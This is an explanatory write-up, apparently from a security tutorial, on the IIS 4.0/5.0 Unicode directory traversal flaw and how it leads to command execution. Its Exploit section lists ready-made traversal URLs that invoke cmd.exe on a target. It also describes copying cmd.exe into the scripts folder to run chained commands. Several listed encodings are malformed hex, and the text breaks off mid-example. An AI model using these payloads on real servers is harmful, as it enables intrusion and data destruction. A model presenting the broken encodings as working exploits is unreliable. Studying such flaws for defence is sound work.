Vulnerability
When certain types of files are requested via a specially-malformed URL, the canonicalization yields a partially-correct result. It locates the correct file, but concludes that the file is located in a different folder than it actually is. As a result, it applies the permissions from the wrong folder.
The vulnerability results because it is possible to construct an URL that would cause IIS to navigate to any desired folder on the logical drive that contains the web folder structure, and access files in it. The request would be processed under the security context of the IUSR_machinename account, which is the anonymous user account for IIS. This is the account that performs web actions on behalf of unauthenticated visitors to the site. Under normal conditions, the account only has permissions to take actions that are acceptable for general use by visitors to the site.
The danger lies in the fact that the vulnerability allows the user to escape from the web folders and access files elsewhere on the drive. By default, many of these files provide access to the everyone group and/or the Users group, both of which include the IUSR_machinename account as a member. These groups have executed permissions to most operating system commands, and this would give the malicious user the ability to cause widespread damage. This vulnerability would effectively grant the same privileges to the malicious user as are normally available to users who can log onto a machine locally.
The default permissions would allow the user to execute virtually any operating system command, and these would enable him to cause a wide array of damage. He could, for instance, create new files on the server, delete ones that are already there, or he could reformat the entire hard drive. He wouldn't be limited to misusing code that already existed on the server. Access to the operating system commands would give him the ability to upload code of his choice to the machine and execute it.
However, the vulnerability only allows files to be accessed if they reside on the same logical drive as the web folders. So, for instance, if a web administrator had configured his server so that the operating system files were installed on the C: drive and the web folders were installed on the D: drive, the malicious user would be unable to use the vulnerability to access the operating system files.
Exploit
One of the principal security functions of a web server is to restrict user requests so they can only access files within the web folders. Microsoft IIS 4.0 and 5.0 are both vulnerable to double dot "../" directory traversal exploitation if extended Unicode character representations are used in substitution for "/" and "\". This vulnerability provides a way for a malicious user to provide a special URL to the web site that will access any files whose name and location he knows, and which is located on the same logical drive as the web folders. This would potentially enable a malicious user who visited the web site to gain additional privileges on the machine - specifically, it could be used to gain privileges commensurate with those of a locally logged-on user. Gaining these permissions would enable the malicious user to add, change or delete data, run code already on the server, or upload new code to the server and run it. For instance, consider the following valid url.
Eg.
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir
http://target/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
Another exploit demonstrates how an attacker can execute commands using a redirect on the target host.
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To begin, the attacker copies ".. \..\winnt\system32\cmd.exe" to "..\..\interpub\scripts\cmd1.exe"
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He appends the command to the valid URL.
Vulnerable IIS returns: "CGI Error ... 1 file(s) copied."
The specified CGI application does not return a complete set of HTTP headers. Instead it returns the above error.
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Next the attacker runs "cmd1.exe /c echo abc >aaa & dir & type aaa" along with the URL to list the directory contents.
Vulnerable IIS returns:
